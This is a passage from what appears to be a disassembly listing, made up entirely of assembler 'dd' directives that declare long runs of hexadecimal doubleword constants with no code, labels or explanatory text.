		dd 0E5F9D08Fh, 0BB070800h, 3A247388h, 20B80009h, 117187A8h
		dd 0E8FD9FB1h, 0FCA02B4Ch, 0D8F0D243h, 36ADD403h, 81ABA195h
		dd 92D09FBEh, 91F40398h, 0AE52A585h, 0D6113826h, 1C12B0Bh
		dd 357C65FDh, 0FA13DF0h, 9B441912h, 7DB09840h, 89007471h
		dd 0ACD11753h, 39224Ah,	0CBFC6B4Bh, 0F6FA3304h,	0EB900AF8h
		dd 0EC8D2603h, 0B843A869h, 7CAA97h, 0C31A19C0h,	0BB6E1BC9h
		dd 91788360h, 9CA9B2h, 663E111Fh, 703F7619h, 0FA0FA005h
		dd 3CC08348h, 186403DFh, 10801C8Ch, 6E01DA9Bh, 0F42694FDh
		dd 40D64EF6h, 61E45197h, 40DE80DCh, 306C2114h, 0B5487A78h
		dd 0AE007813h, 6FC6D6A8h, 0A2A1BBh, 798420C8h, 2266DFA7h
		dd 9A77BD12h, 30D7C400h, 0B3F623Eh, 61BC4B19h, 9D347483h
		dd 103A20A6h, 0A64C0004h, 6BDB9F2Eh, 7A550B0Ah,	65804DFDh
		dd 2EB9297h, 0BCD56C0Fh, 360140DFh, 0F093AF49h,	0CEDA1EE3h
		dd 5D3FC1B2h, 308DFFBAh, 0AD07D51Eh, 0E1337CB0h, 0E00280CEh
		dd 1D627E67h, 415A4583h, 3AFEE698h, 0A286E8DFh,	82BE8E3Bh
		dd 0EE9DA525h, 768F0F3h, 2F4D1512h, 6A7F50F4h, 0E100D45Eh
		dd 0DCC88AE3h, 0F103492h, 87E76C79h, 0E12A6927h, 0E450E4BAh
		dd 4D00E865h, 366DC04Bh, 0F6D2BFF7h, 0C5F31C02h, 0D5F7Eh
		dd 0B2FFCE96h, 423F60EDh, 0E65380A1h, 9418BBB8h, 0B3D10047h
		dd 711EB021h, 0A603E71Ah, 93D6E23Ch, 0D89CABC6h, 622972h
		dd 0C22294D2h, 446ABF47h, 0F12DF200h, 1206209Eh, 0E9B60CCFh
		dd 7B107E1Ah, 0E8EE9B02h, 0E079AC93h, 35963Bh, 0CE15DB8Ah
		dd 24141D89h, 462A2900h, 40679864h, 0EDEA47h, 87839163h
		dd 50BDF589h, 0D8E8520Eh, 0E26E40AEh, 0E40A1B11h, 0D79A00ABh
		dd 8B9BE1E9h, 68B055DDh, 3108C360h, 361F86h, 807054Ch
		dd 94EE3BF4h, 6574990Eh, 287D467Bh, 59B900D8h, 0CAD809B4h
		dd 0EF61F6DBh, 0D0F7A929h, 0A84C00D7h, 1A3BA4A0h, 9D715B04h
		dd 3ED5E900h, 84E7EC1h,	599800FBh, 52B08AAFh, 0C8008E23h
		dd 5AECA20Fh, 240A89h, 0CD5FBA3Fh, 3DCA2FC5h, 0C1D090A3h
		dd 0D0003B56h, 0EDB826ECh, 0AB1594h, 174A9CFDh,	0C8740C06h
		dd 4761A700h, 0D13A48BCh, 0ED44006Dh, 318E5C2Ah, 0E100E618h
		dd 0EEB80BC2h, 201B090h, 62EA897h, 0C882A43h, 0F910387h
		dd 9CA0659Dh, 39008D01h, 0F2217054h, 0FC272DC7h, 0C1F690h
		dd 2C1C0D2Fh, 0EB81967Ah, 33001DF8h, 23716E63h,	14131A92h
		dd 0A05370EDh, 5A833D00h, 0E1BDE02Bh, 67F42B90h, 11D317Fh
		dd 0EBC011EFh, 0C240223Eh, 41BC0F3Ch, 4C80AA58h, 50765462h
		dd 0CA1FE09Dh, 6B800E2h, 2BA7B177h, 9401E07Eh, 223B67DEh
		dd 1080611Bh, 588CD05Ch, 60A63C8h, 0A5884A0Eh, 877A3C00h
		dd 24C3A602h, 0D90B35h,	0D6B5C615h, 0C5005075h,	6DE8B443h
		dd 2854B7h, 7E93231Ch, 6E85A986h, 7A658F00h, 0A7403466h
		dd 0B0600057h, 5ECE712Dh, 1E079BE0h, 0E6C1F692h, 4ABFEE50h
		dd 655200DAh, 6A24F430h, 0CD001B16h, 0E63B690Fh, 900E1533h
		dd 10EF05C4h, 80F8F59Ah, 67D995F7h, 0CD5B5000h,	19FD3A89h
		dd 24D20166h, 9F626836h, 1AE8401Eh, 0A3015A6Fh,	0CDC17AAFh
		dd 8561A93Fh, 53188BCh,	1360CA10h, 2388C0FDh, 0A6E680EAh
		dd 0D2E238C0h, 275F2F2Bh, 0A580E099h, 0CC0AC190h, 301D1C3Ah
		dd 48B31ECh, 0E86C606Bh, 26CC62C1h, 0EB5C5600h,	0A4827AA0h
		dd 0E71D01DFh, 66BC3FFAh, 8454402Ch, 2F016BD9h,	0FA3CFD9Bh
		dd 270DF67h, 323F0008h,	0C388F3B3h, 0D7009F69h,	0D59A23F7h
		dd 0BA0EE6h, 0F8AF50ABh, 82F497FBh, 0FA54F300h,	0D32C9617h
		dd 7DD60062h, 0FCD0FF8Ah, 702A0EAh, 4FAEC537h, 4C224133h
		dd 13F6B3C8h, 3AB6989h,	5A19BB68h, 8A8076E0h, 0E9EAAE00h
		dd 8495D07h, 6DA300CEh,	5E5BE8AAh, 120721C6h, 7123D131h
		dd 399BDB31h, 0B110E8h,	37BEAF1Bh, 0D7BAC245h, 0C9E45800h
		dd 27A391F8h, 71A9EEE0h, 882D3C22h, 974F3801h, 6017C559h
		dd 120FCA39h, 1419113Ch, 539B0B90h, 7208578Bh, 8F3800C4h
		dd 0D79D790Ch, 0B80ADC0Fh, 7CD08021h, 2A9CE610h, 2010FF08h
		dd 0E0528C62h, 0EB080CECh, 1053207Bh, 7AAFCEC3h, 58CB2D18h
		dd 0C0576118h, 6F175131h, 390E80DAh, 271B8A48h,	78979884h
		dd 6E8C11D0h, 5F2003A9h, 2D2B109Fh, 0E7E04001h,	75C70DE8h
		dd 3CA4698Fh, 742BD360h, 72008780h, 0F2C28604h,	0AD856Fh
		dd 32A2141h, 363FD66Ah,	0FBB64203h, 0C01D68AEh,	786D195h
		dd 0ABF09BEBh, 6E02025Fh, 6D60F560h, 80CBE63Ah,	4575C95h
		dd 7662A58h, 6E7429D1h,	65070360h, 0DA3EC000h, 0F2DFFB8Dh
		dd 343D0057h, 95CB1B0Fh, 0D5E6BCD7h, 22190C06h,	5002B7h
		dd 73285786h, 39AC86Eh,	6D97A05h, 0AF0FD3E2h, 5A810602h
		dd 0F63AE610h, 7D6B3E5Fh, 2859521Dh, 217750Ch, 4A40B3AEh
		dd 122008CDh, 58A28Bh, 4804844Ch, 0E5028382h, 0B8205560h
		dd 304AF85Eh, 5410453Dh, 333886C7h, 0F7480E5h, 0BCD0D53Bh
		dd 18EF70C9h, 280D1952h, 29502C47h, 9B1F05A8h, 1170A108h
		dd 245DDA88h, 2914A9h, 9D8FE5EAh, 0CA00E00Eh, 633F222h
		dd 78741398h, 0F97A0056h, 0CC1F1A65h, 830FED20h, 0C678D44Bh
		dd 0D05036F4h, 0CAB0458h, 10A6B846h, 0E2E8005Dh, 24477F80h
		dd 0B203EB7Bh, 3BC5192h, 3D61D022h, 5A290CC6h, 10298742h
		dd 0D5A61084h, 8552102h, 7C9086F4h, 44D71F84h, 0ED443A29h
		dd 78E84488h, 4AD22444h, 6B08281Dh, 293499FCh, 82C1201Ch
		dd 9957B000h, 338A2106h, 3ABC03B6h, 68EAAD41h, 1FCB92A8h
		dd 0BF655003h, 0E091F79Ah, 1C80612h, 0FC17856Ah, 0F9DAE959h
		dd 0EC55C1E1h, 0E07D8CCFh, 1B87C1Ch, 1A4F62DCh,	6D3DA05Ah
		dd 869EADh, 32052725h, 92183B13h, 0A600DB78h, 0AAEBE571h
		dd 8558BFh, 0E26F1F53h,	7C8F3DC3h, 23097D00h, 295BF922h
		dd 692801AEh, 84D33512h, 80ECE5BFh, 7F2D6F5Ah, 0E14A32h
		dd 121F90Dh, 0C8F1227Ah, 0F8169B00h, 45806382h,	0E04B002Ch
		dd 0B7F3FDFBh, 920FD12Ah, 3B99CECh, 1FA97A8Eh, 5DF8D396h
		dd 0AEE540ABh, 0DDA60158h, 54E79C00h, 0ED28DE6Ah, 4770007Dh
		dd 0B9BD662Eh, 7E003C98h, 8114E591h, 0FEC488Fh,	27F58A6Eh
		dd 1B67ADC0h, 440FCFE6h, 80C45C93h, 96BF206h, 2118007Eh
		dd 5E16ECA7h, 1C00E0ACh, 0ABCE79DEh, 7146A915h,	73B1713Ch
		dd 35CA01D2h, 0C7B2495Bh, 0F0BC403Bh, 5F003A43h, 726462A5h
		dd 0A0D6987h, 5D33757Fh, 9481CC0h, 930030DBh, 0BD92EEB9h
		dd 2F6D3A00h, 7DA44336h, 95EA077Fh, 0F01A02ECh,	0FF4C96D0h
		dd 0AA710600h, 695EA7FCh, 0E9005h, 0FA1D991Ch, 8F170F49h
		dd 0E0F53530h, 0BCE519h, 0B8E3383h, 0BAEA1CB6h,	4C138404h
		dd 0C88A63Ah, 23F90078h, 74681D2Ch, 840762DDh, 7BEE77CDh
		dd 8A3226B0h, 0C61A0040h, 0D0E7E13Bh, 527586B2h, 0BD939402h
		dd 752BD48Dh, 2B879E3h,	513A89CBh, 3D04846h, 0A75D415Ch
		dd 32B58712h, 0FC87A8C0h, 0CD9200AEh, 0FD835F80h, 75007490h
		dd 32E709Ch, 71C0B82h
		dd 42011DCCh, 0CB6CD0C8h, 8A07531Ah, 50139955h,	6518B4E0h
		dd 0E1380377h, 0FD8C43Fh, 7B75F080h, 0FE947000h, 0E4C3B8E9h
		dd 0C4F3009Fh, 7A9305C8h, 275C9769h, 0B1840042h, 2AB5E8E3h
		dd 3D6C009Fh, 0E0720B66h, 2F001A74h, 0A479257Ch, 84C8FDh
		dd 0E545C433h, 8AEA0686h, 9F27F10Bh, 8B3A00B2h,	0D446A8h
		dd 2E2BE1D1h, 0B3E97118h, 0F20169E8h, 6FA58ECEh, 66613082h
		dd 408D4h, 33C264C9h, 8E74513Bh, 1100197Ch, 55464B05h
		dd 1F67B44Ah, 0C2B2A4B3h, 0E1265237h, 0BC23EC80h, 4800AA32h
		dd 3660423Fh, 7D9E56B2h, 0D2CB03D4h, 0FA629345h, 0D0237F0h
		dd 7083D70Fh, 8EFD80F9h, 2AE376h, 0D110241Fh, 18F8C382h
		dd 0B4005C92h, 965A7E17h, 6548D5h, 67A43FB6h, 0D9C18428h
		dd 9D4C6D7Dh, 0F164CA28h, 0B2CEBC00h, 3C472812h, 50005639h
		dd 15F4AC6Eh, 0B9017107h, 0A2E76C1Bh, 0CAD06FEBh, 7EF3003Ch
		dd 0A5960E7Ah, 9E00F794h, 2AA71CB5h, 2E7630h, 4A1068ECh
		dd 0E1B11DEFh, 6E00AB73h, 0D14181D4h, 68F150Ah,	73F99054h
		dd 390350CCh, 642096C6h, 0D99600CDh, 671BD3C7h,	940004B2h
		dd 0B7E7894Fh, 0DDAFE8h, 0AD05D247h, 0D4CF4D3Dh, 0A59CB302h
		dd 405CB519h, 2DD5D0h, 0F912C566h, 7B8C97F7h, 92CA2E02h
		dd 68B46FB1h, 1869D38h,	0CCC03911h, 0DB7EA3DFh,	2D088580h
		dd 0BAE74513h, 0A1905D00h, 96F976h, 84F71C3Ch, 4BB8D638h
		dd 1A04357Eh, 31610DE3h, 7B469CD0h, 0F1770013h,	0D21FFCF4h
		dd 3600957Eh, 7926724Eh, 9CDCE7h, 2918EC5Ah, 0E844F715h
		dd 0E0A18900h, 13D92467h, 5AAD00DCh, 4C4461Fh, 3400B828h
		dd 0AE39B57Fh, 0FBB3D3Ah, 2EA5EEC7h, 0A3E81EC0h, 3E00554Bh
		dd 605CDEC2h, 0DCF33Ah,	0D6312938h, 3F565B83h, 53034670h
		dd 0A418EDACh, 0FA7EE0A1h, 4FB400CDh, 2995FC1h,	7300C60Ah
		dd 0A101C7F8h, 0EFA4E4h, 0CB310BECh, 639592Dh, 0F055B325h
		dd 4883E564h, 33177228h, 8CD2BC88h, 0B9306C0Ah,	9500C448h
		dd 0A5CDD6BEh, 0BBE51C76h, 33B68CF2h, 3400B496h, 11B9B161h
		dd 0FDDE469h, 0FDD9A4EBh, 2242CE60h, 60009AD8h,	0C10D8464h
		dd 3CF4608h, 5830BF5Dh,	0A2D8882Ch, 0E7268555h,	0AB0011DFh
		dd 0A6C9CD8Fh, 6D6E004Eh, 19AC7F70h, 77001C74h,	21A9D017h
		dd 1BD49A1h, 0BCC7C650h, 0E53A67D5h, 31A14086h,	0C40066E4h
		dd 29701F6Eh, 3BDAC084h, 98F93A6h, 71E0271Dh, 0CEE4A840h
		dd 1BBF3B04h, 509005C5h, 1656ADF3h, 0E76113h, 2FF6A581h
		dd 0B008302h, 55B23AC0h, 3917D588h, 9A00EE04h, 95E361EDh
		dd 0C4091B57h, 0EABF48h, 50EB850Ch, 48158C2h, 0CA35D70Bh
		dd 0FEAC2Fh, 4E126745h,	232656BEh, 0A00767Fh, 0EA638540h
		dd 105E00AAh, 2CC3C9CAh, 0A700EE06h, 7635373Bh,	0B36ADBh
		dd 0E623C683h, 0A13C403Ah, 1E594400h, 6865EDBBh, 0E4490F60h
		dd 3DE085A2h, 0CD0DFCD6h, 30694A00h, 7BB35191h,	21AF1722h
		dd 2BE003E8h, 33808B57h, 800010DDh, 34A00DBEh, 1DC3BB3Fh
		dd 9FEBB82Ah, 0D09F0513h, 770580E2h, 9500BA10h,	55B4E87h
		dd 76D44296h, 751D0176h, 0CF68B083h, 5C59300Ch,	7E07A509h
		dd 0BD5C203Ch, 758F314Fh, 3D3900E7h, 13679E5Ch,	6E004062h
		dd 0E4D9BCC1h, 9401F6h,	15106A4Ah, 29A45B1Fh, 7FCAAA01h
		dd 6B69352Ch, 0E7E387FEh, 0EA25F7C1h, 0A19D034h, 0CC028A38h
		dd 409700C4h, 45107E88h, 8F07A773h, 2C560EFh, 71735D00h
		dd 0E1C4035Fh, 0B49DE5DAh, 0B08669F8h, 8A36DE07h, 30A0E3CFh
		dd 900FD25Fh, 105900CCh, 9B3E5231h, 0E000F00Ah,	19CF0CDDh
		dd 2B72C4h, 0ABB9FAB7h,	3FF48FB3h, 1F8D7900h, 0CB637407h
		dd 0AF210119h, 3536387Ch, 60E82001h, 0D4704Ch, 1ACADECDh
		dd 0E8978F29h, 2E0E0F0Fh, 0C121165Ah, 20BD8430h, 0EA001BF7h
		dd 9846AD78h, 2299D9h, 0D3436E1Ah, 0E22B714Dh, 69E0CA00h
		dd 6D04762Fh, 0FBAB00F8h, 806781A2h, 790C60D7h,	0D0630B23h
		dd 47D0018h, 0CFB431Fh,	789FEE28h, 1EA100A1h, 4CCBDA05h
		dd 8B01F4B7h, 35E1A6ECh, 6C24D007h, 0C4510033h,	0A2EFE4B6h
		dd 0AB006449h, 0C704F594h, 0B01981h, 3B4A5A3Dh,	3F4F58A6h
		dd 55287603h, 0EB92F653h, 8D9FE804h, 8AD507D0h,	270F2B39h
		dd 9BE190CCh, 0FA0F7F3Ch, 27FC70C6h, 0BB10FF7Bh, 8E307Ah
		dd 6B349BF8h, 0C2EF3ADCh, 86551200h, 19AA9225h,	1FF87B81h
		dd 40D5BDC8h, 1D5E31B4h, 0D8C09CEDh, 1A76584Ah,	24457A42h
		dd 0EF6B9Fh, 0F0FC24A2h, 0D10415D4h, 268AAA43h,	116B5880h
		dd 502D00CAh, 29A097E9h, 3B006860h, 0B5781F18h,	3E55463h
		dd 0F49EA5B6h, 78785572h, 3C5DB41Fh, 0F0087ACAh, 9490C412h
		dd 9343BCh, 22A73527h, 0EE7A875Ah, 0B4019CB2h, 6F5ED46Ah
		dd 0E2EC3FECh, 2A9008Eh, 15275943h, 0A57A89C4h,	7FF2961Ch
		dd 0F4AB4200h, 28928BA6h, 7901975h, 0A02FB4E2h,	1350B0F8h
		dd 6B00EDABh, 0B81EF2F1h, 3BD7CFBDh, 0E2928EE3h, 0FCF493E5h
		dd 0CB97A588h, 2C1415FAh, 801AB2h, 8D16C63Bh, 839BE0h
		dd 10EB9635h, 0E9DC7DDFh, 0FDF01700h, 0D4C23743h, 19AF043Ah
		dd 0C0840F29h, 0A3B4B91Ch, 33F2C176h, 0CB1FD41Ch, 5BA4F001h
		dd 8C40D112h, 0B0A9AD17h, 0BC2E002Ch, 0DACE8DC4h, 70F75873h
		dd 7C06CC47h, 0B3B0ED0Ch, 591C0011h, 611D929h, 0FA00E34Eh
		dd 0FE8CF17Eh, 0EC76746h, 0B387CC3Bh, 0CFCB3002h, 5E25AC81h
		dd 0D0BC891h, 7C067160h, 4CD50995h, 3704CCEEh, 0C0669142h
		dd 272C3D39h, 43BEE500h, 488DB7E2h, 9C521862h, 63C3214Bh
		dd 0C572417Fh, 649B0C00h, 6B4D771Eh, 2A323B22h,	0B11AD880h
		dd 9F0D8ECCh, 98BB3B00h, 3F6193Ch, 0A8D505DBh, 0C0A98D17h
		dd 768218F6h, 0FFCACF0Fh, 0A2FAE08Bh, 7CA7C3h, 0D7B07BA8h
		dd 0B9BC4990h, 7FE29C3h, 11BCAF72h, 4555002Fh, 0E42814A0h
		dd 831F9368h, 8C80EE1Ch, 0B819A99Ah, 564EF3h, 502FA3D8h
		dd 251D53B2h, 0E102E66Bh, 0E005236Ah, 9480E4h, 289EB927h
		dd 0E64FF7AEh, 3012494h, 5385B4A1h, 21001028h, 0B0E94092h
		dd 8F09150Ch, 80825D36h, 2DE1C60Ch, 477500C9h, 3CBDF72Ah
		dd 3D5D5995h, 0C6580244h, 705DE707h, 856D0A7Ch,	1C4EC74h
		dd 538932CAh, 4255CCCDh, 456F2C00h, 257B4794h, 77700001h
		dd 285C8F07h, 5709B6E9h, 8AD4C7B2h, 1004538h, 1F5DD1CCh
		dd 913D006Fh, 382B8C69h, 7C00092Fh, 3E4FF24Eh, 77FDDD61h
		dd 0D6400B0h, 0E0B38A94h, 0A000405h, 3431A40Fh,	16032722h
		dd 1666D3F5h, 701D4Dh, 0F1A0D207h, 0B6025429h, 0D0AF480Fh
		dd 0FC54E04Bh, 2A7C0079h, 0E70CEE11h, 7A076F9Ah, 0B55DE853h
		dd 902763A3h, 3BEB4D1h,	0CF266CE4h, 0F99B0A4Ch,	948574E8h
		dd 0D41BE028h, 0B900DEE8h, 33EB1372h, 8A9782h, 0FCCFEB5h
		dd 0FDC01123h, 80A2893Dh, 7E2473D6h, 0B2D8CFh, 0C55199F7h
		dd 58C93EAEh, 0FCBC2507h, 0F5D4549Fh, 0A01C04C6h, 180A24Eh
		dd 4441183Fh, 2D7F34E0h, 2A20092Ch, 168C2763h, 45038590h
		dd 379E040Bh, 8014CB2Eh, 0ECA43908h, 1C187724h,	0AC3ACA07h
		dd 0D7103427h, 9CCABD3h, 1F5441B9h, 94576802h, 0B685BBE0h
		dd 0C56F1A00h, 97DC9DFDh, 8AAE3EC3h, 0F74C004Bh, 0EAF580EEh
		dd 85C1448h, 1236D922h,	0FA24D808h, 5E5FD812h, 778FC800h
		dd 21E2DF3h, 4C6E7C6Dh,	0DCC0B28Ch, 0A81ECBDFh,	588362F2h
		dd 98DA5584h, 0A54A60h
		dd 648A9B47h, 0ADE8839Ah, 79304300h, 51E3BF3Ch,	0EC8E0069h
		dd 0ACE4A7D0h, 10CF68B6h, 0C9E5608Bh, 236F84h, 0CDF8EE73h
		dd 5490A4A3h, 82097B90h, 81FDE539h, 0D1B7D6EFh,	0C098C8DEh
		dd 11880097h, 0AFCC0E7Fh, 0FC0EA3FAh, 0A131609Ch, 0DA47D719h
		dd 1BCFE2E8h, 0BC513281h, 605FD599h, 0F5030DF1h, 6BBEC3E7h
		dd 0F43488BAh, 3BCE00E1h, 525A95Bh, 0AE018A89h,	2148CA4h
		dd 0A8414E7Fh, 0C0CB5731h, 143B695h, 0CC6AB2B5h, 60BD38DEh
		dd 6300A548h, 2B3D6C99h, 0A1DCBF7Eh, 80FBFDDCh,	48D1522Ah
		dd 2B87DC33h, 1A7890D2h, 7B753D4Bh, 8C950A01h, 96F389AFh
		dd 5EDAA8FFh, 8D3301D9h, 3F4ED502h, 0C0DBFD83h,	755C9BB8h
		dd 67EE033Ch, 90CE09h, 785E44C0h, 2A363C29h, 65002590h
		dd 6A187A0Ah, 3455CFh, 0E7140346h, 9AF1D893h, 88FA687Ch
		dd 0E1DFE30Fh, 0A45FC1CDh, 15FC457Ah, 5E1A1D74h, 8779DE4Bh
		dd 700EB346h, 9A47EE2Eh, 7FA13400h, 0F141CCBBh,	13DF0002h
		dd 4DC4353Eh, 4401EDACh, 7E836971h, 40B7D71Fh, 0CAA6B010h
		dd 493E5243h, 0A589273Dh, 0BBB944h, 6DA9D16Ah, 0E375AB1Ch
		dd 0EAA4A502h, 50612265h, 0F7931C94h, 0B4DCCED3h, 0C9887E00h
		dd 3900A646h, 728785AEh, 0F46974h, 0A1C5A17h, 9F790670h
		dd 0EB8A2D00h, 0AAA8921Bh, 68DA1CDDh, 0E7504C3Ch, 0CF07C768h
		dd 0BBAD339Bh, 0BA10E1E1h, 1C8C620h, 65776BE5h,	64C98473h
		dd 473F9600h, 0C5160049h, 0E1071AEAh, 0B7B20E88h, 5C8055D2h
		dd 7D1D599Ch, 73187E0Ch, 7F988181h, 50800052h, 0C3BF4132h
		dd 0EF00D426h, 94DB13C4h, 0EBF78Bh, 17ABFAC5h, 74815523h
		dd 29164D13h, 0AFEA8301h, 108358DCh, 12372485h,	0F0AE26D9h
		dd 19CE5B43h, 0F0EA802Eh, 7CDAED80h, 0D8EE79h, 555AA746h
		dd 0C12B3608h, 33F55700h, 4B66025Ch, 98D3001Bh,	0A4DA6E72h
		dd 2200464Ah, 325E8570h, 62E5797Eh, 44AF487Bh, 7A9B3480h
		dd 0B90384AEh, 48C3086Dh, 38F6C074h, 14F5003Bh,	66E12B26h
		dd 153CCFD8h, 0AFAD0A52h, 2C052042h, 80E0328Dh,	0BB140060h
		dd 0B8FC6C65h, 0E114A67Ah, 14108C2Fh, 1C41AEh, 4C12346Ah
		dd 84F446h, 0EC2CB2EBh,	8AF1E608h, 2202D100h, 0AAB53E35h
		dd 6CD03F83h, 6D31Eh, 92B20E44h, 22005D4Eh, 0F5897625h
		dd 242D740Fh, 0B1A9BCEh, 1501427Eh, 0C0951943h,	0EE7D8DD3h
		dd 275EE500h, 2A04BA60h, 659D0067h, 0A66E0F9Fh,	0DC1F190Dh
		dd 4A8129B0h, 8BC67133h, 7A44D20h, 7727A5BFh, 0FC0DF099h
		dd 0E63B010Ch, 34F20509h, 0F8D12547h, 0F6F85D77h, 0DC20BE98h
		dd 7F0CB149h, 1AC0D00h,	0BE2A38C7h, 19BF00BBh, 47746634h
		dd 9C00DA99h, 0E4CC113Dh, 4C9EEBh, 0DF13C354h, 60867F46h
		dd 0FBFCE90Fh, 1D68E083h, 9858C596h, 0FEB40938h, 64AF3441h
		dd 54B13C20h, 0E4F6E55h, 0C2188418h, 3D49C2Bh, 21B45FCEh
		dd 7C7265E0h, 0A29A7750h, 0C0EA379h, 0E0914BAFh, 1B734410h
		dd 0FBC40209h, 65921CEFh, 72009C50h, 0DF8BD090h, 0C0FCFE22h
		dd 1398BD59h, 8A7A096Dh, 0D60BF0ECh, 0FF31219h,	0D66A2EE8h
		dd 66C65180h, 3E3C002Eh, 0B2B75A27h, 0F9029D3Bh, 0B8FFA0D0h
		dd 305091h, 125945DEh, 7C49E167h, 71E1A98h, 35576373h
		dd 28767880h, 13953C65h, 47E8AB97h, 83E1A4BCh, 110046FCh
		dd 0F6637FC2h, 0EE34981Bh, 6CA458CAh, 0BE8DF202h, 0D8AF8AFCh
		dd 0C4082176h, 60D9803Fh, 9A6F1B3Bh, 5134016Bh,	488F446Eh
		dd 0DBDFCC42h, 7CD3E902h, 7095273Bh, 2E5730E4h,	0DD310C51h
		dd 0D85F800Eh, 0E583F39h, 0F2190h, 0C5B8C82Bh, 526B4006h
		dd 39A7401h, 7FAE2C3Fh,	0F0CA20h, 63E32822h, 5AD90D3Ah
		dd 45C00E00h, 0BECAFAA4h, 0F1A703BCh, 42BFEC31h, 23EAC190h
		dd 8486D00h, 21DB3F81h,	5E8B07E3h, 208C1FAFh, 90BE334Fh
		dd 0C7B7A4A0h, 0CD0A9A00h, 2D1497F8h, 0FF7B036Dh, 0CE9986A7h
		dd 80D984BDh, 9E5DFBD6h, 4F7AF900h, 9DE27804h, 0C6240002h
		dd 5F940E82h, 0AF014769h, 0CC57150Ch, 98FB5036h, 0BA7E22h
		dd 0A5B77225h, 0CAC713A9h, 3F00F3F2h, 619D3317h, 909CF2h
		dd 983AE819h, 0B65BDCECh, 0C3C0CF00h, 279D7E10h, 2C60045h
		dd 9E654DE3h, 960AA1Fh,	0E87F51E0h, 6A5600F7h, 0B639E178h
		dd 7E0180A6h, 0DDC1B9A9h, 12EC6995h, 1B0C0018h,	1D15D577h
		dd 0D8582446h, 9F2C1F86h, 96D47600h, 3174078h, 0F0712DEh
		dd 41D0FFF9h, 67A27F2h,	0C43AB900h, 26F3852Ch, 0CD612466h
		dd 0D65A002Eh, 34B937F6h, 7A3DF00h, 0ECF43FBFh,	33B30029h
		dd 11731BF1h, 0BA01853Bh, 0AE1A15B1h, 8980C3DFh, 0F7CFD52Dh
		dd 0C43D5796h, 0A85E808Ah, 0B17A1A93h, 4EC800EAh, 42FF7CECh
		dd 5D0FAAB7h, 117EBFBh,	2C831257h, 8805E0h, 62DDC207h
		dd 250DA56Dh, 0E8F9F660h, 7A575Dh, 6124EBB3h, 3F2C117Fh
		dd 12D54600h, 0A0493C14h, 0EFFA77h, 2EC68A4Ah, 0BBFBD8A4h
		dd 899DB000h, 1B630935h, 0B95E0042h, 0C1122F5Ch, 0EA05F3B7h
		dd 5815AF1Dh, 540723C0h, 0B65D056Dh, 0C0FD8491h, 44039CB3h
		dd 161A7E00h, 0F3E30EA0h, 1E0CF695h, 12842BD7h,	2070067h
		dd 6AEE62E2h, 0A3930100h, 31FFC47Fh, 0ADC200CBh, 39F7DC16h
		dd 0BA7C9769h, 0E1C9E803h, 7F939638h, 2E980011h, 60FCBFD8h
		dd 1000B35Ah, 457A5DCh,	166E4E53h, 180E7C85h, 0A6C23034h
		dd 1B9B460Fh, 0BDDFA016h, 7F5771Fh, 61DA3A9Eh, 0EC5CC018h
		dd 909C726h, 0C06D6727h, 7045407h, 93C4D87Ah, 6AC6F005h
		dd 0C90178E3h, 0D790912Ch, 0E13E472Dh, 0E7C002E7h, 0C003C47h
		dd 0F24278D9h, 933D001Ah, 0FA054023h, 0BF035651h, 52A5A130h
		dd 7783D071h, 28FD7E43h, 0A43E5Bh, 9B429249h, 2264D3Ah
		dd 93D66717h, 53B0A200h, 0F4330847h, 0C7850BE4h, 1803B184h
		dd 7D80ECD0h, 31F9E3Bh,	0D8001962h, 5720AD80h, 9A9C01DCh
		dd 7178E5B3h, 0EC1C256Fh, 65009837h, 821DD809h,	0B06A2D70h
		dd 0CA9300C3h, 407DE6EBh, 0B007B3Dh, 0C9BE2726h, 0B0B6C6FCh
		dd 0D43E07E5h, 8FF0D02Fh, 8AC01DE0h, 2B981008h,	0C9CD7C00h
		dd 93473013h, 25D90131h, 56E459BAh, 0D3B24033h,	0C124F09Fh
		dd 0BB136A61h, 27CC104Eh, 87E1DA9Ah, 49F418D7h,	1EB1005Eh
		dd 16C35694h, 74002CA2h, 0BE4391F6h, 0B0C4F8Bh,	0E9B8E205h
		dd 0F7B38A80h, 26001F3Ah, 2466791h, 3DAA048Dh, 302480FDh
		dd 23D00388h, 21D1FF18h, 16A9E083h, 54A75107h, 0CEA0A690h
		dd 61EBCEAh, 88795B76h,	3C005039h, 0DC9181B0h, 0EE2BCC6Ah
		dd 7AE430F2h, 0F049ED88h, 1F00E8E0h, 0D4644CA0h, 0FCCF8294h
		dd 3BE7005Dh, 0EF66C303h, 0F000A374h, 0FDFE7DC2h, 0F5B8Eh
		dd 0C1DA7A34h, 0CA95624Eh, 0E70E7800h, 0F576FC8Dh, 1EAEE0A9h
		dd 80FFD9F4h, 92D2BA47h, 0B700CA2Bh, 0EA445865h, 7F2DCDE0h
		dd 9A10078h, 32D06AEBh,	9C70C9DFh, 0AE5BC600h, 0B21EB815h
		dd 87A90246h, 413CA4C8h, 44173840h, 740021F0h, 831992D7h
		dd 0A08B63h, 1A910366h,	99DBB75Fh, 0ADA87000h, 0CD1F4A73h
		dd 0DA2F0BBCh, 0FD07F01Bh, 714EE022h, 0FD0111B9h, 4DD690E8h
		dd 0C0C357B5h, 9AFFA2h,	0C30C1F9h, 0E3B49843h, 0DD5F1107h
		dd 0E7E0368Eh, 0BDB318h, 0E23E2F65h, 295B926Eh,	0CC617206h
		dd 3CB17Dh, 865D9EBBh, 7BF1942Eh, 0BFD38A09h, 3F0BE3h
		dd 33AEE5EAh, 9CC80370h, 7F5C1AE8h, 2E0DA1C0h, 0C9806503h
		dd 0D9EFAD6Fh, 0F7ED9AD6h
		dd 0AF698CCh, 957C3D64h, 683000B6h, 62C9B5D2h, 0A6AE9D00h
		dd 15E54B71h, 9C9226h, 9A5922BEh, 8D2F675Fh, 1E33860Bh
		dd 0A9E480ABh, 7DD56A21h, 0AF5C0098h, 88BA917Ah, 0A23D4969h
		dd 7542C12h, 0BF254C00h, 9DF3F2h, 0AD235EE7h, 7F073997h
		dd 89084F01h, 1DBAB931h, 18128C20h, 812E1991h, 0FC1F57FBh
		dd 3ABAB09Fh, 921A0AA1h, 0B90A1051h, 4F001C82h,	893E4D57h
		dd 9A4E0D0Fh, 0E1182492h, 56C0F35Fh, 0FD30D420h, 5C652053h
		dd 0B4188090h, 8DC0AE3Eh, 58FBED64h, 8924F0h, 1C6568CDh
		dd 4AF05D44h, 29AA5400h, 0FB9664D0h, 0EF4901CCh, 558EBA57h
		dd 0C8CC4C6h, 1169421h,	4FFBEC67h, 1722306Fh, 3D4D4100h
		dd 0D2DA79Bh, 0A49061h,	29702612h, 0A89C5BFDh, 31D2E00h
